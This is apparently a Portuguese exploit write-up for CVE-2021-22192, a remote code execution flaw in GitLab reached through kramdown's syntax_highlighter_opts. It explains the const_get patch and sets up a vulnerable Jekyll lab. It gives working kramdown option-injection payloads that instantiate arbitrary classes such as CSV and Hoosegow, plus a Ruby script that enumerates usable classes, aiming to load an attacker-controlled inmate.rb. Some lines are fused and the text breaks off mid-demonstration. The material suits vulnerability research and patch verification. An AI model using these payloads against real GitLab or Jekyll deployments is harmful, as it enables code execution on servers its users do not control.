petrusviet/gitlab-rceCVE-2021-22192
Ao começar a analisar essa falha, eu tinha apenas algumas informações valiosas de lyy289065406 que me ajudaram a entender o problema central desse bug. Percebemos que parece ser uma falha na gem kramdown (<= 2.3.0), então comecei a estudar kramdown primeiro.
Podemos verificar o patch do kramdown, e vemos a diferença na função formatter_class no módulo Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) foi alterado para ::Rouge::Formatters.const_get(formatter, false)
A função const_get é herdada da classe Object e pode obter as constantes. Ela pode até retornar classes já declaradas anteriormente que encontrar. A diferença aqui é apenas adicionar um parâmetro false. A adição do parâmetro false faz com que o const_get não consiga obter constantes da classe pai ou de módulos.
O que é ainda mais especial: na função self.call há uma chamada para a função formatter_class e em seguida para new(opts). Isso significa que o método obtido via const_get terá seu Construtor chamado para inicialização.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Com base em Kramdown:Options podemos chamar a função Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Além disso, vemos no módulo Kramdown:Options que a função simple_hash_validator chama YAML.safe_load(val). Assim, também podemos configurar um arquivo YML para entregar o payload desejado ao Kramdown::Converter::SyntaxHighlighter::Rouge
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
Primeiro, preciso montar o jekyll:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock para colocar a versão do kramdown <= 2.3.0cd jekyllTest
Arquivo Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Pronto, criamos uma página jekyll. Agora podemos colocar o payload para ver se Kramdown::Converter::SyntaxHighlighter::Rouge.call realmente consegue chamar um método.
podemos adicionar ao arquivo ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Ou usar o documento kramdown adicionando o payload em ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Aqui eu usei o segundo método =)))))
bundle exec jekyll serve
talvez você encontre o erro "require': cannot load such file -- webrick (LoadError)"; você precisa adicionar gem "webrick" ao Gemfile
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: Isso prova que a classe CSV foi chamada.Segundo um artigo de análise CVE-2020-10518 que usa o bug no kramdown para causar RCE no Github. Mirei na classe Hoosegow:
initialize da Hoosegow há uma chamada a load_inmate_methodsdef initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods vemos que ela chama require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
E inmate_file é criado concatenando a string @inmate_dir com 'inmate.rb'. Se pudéssemos chamar essa classe e mudar o parâmetro inmate_dir para o caminho do nosso arquivo payload, não estaríamos causando RCE aqui?
Executei um script no caminho da página jekyll para verificar os métodos já definidos:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
gem "hoosegow" ao Gemfile e o script encontrou a classe. [Hehehe]Hoosegow usando kramdown para ver{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~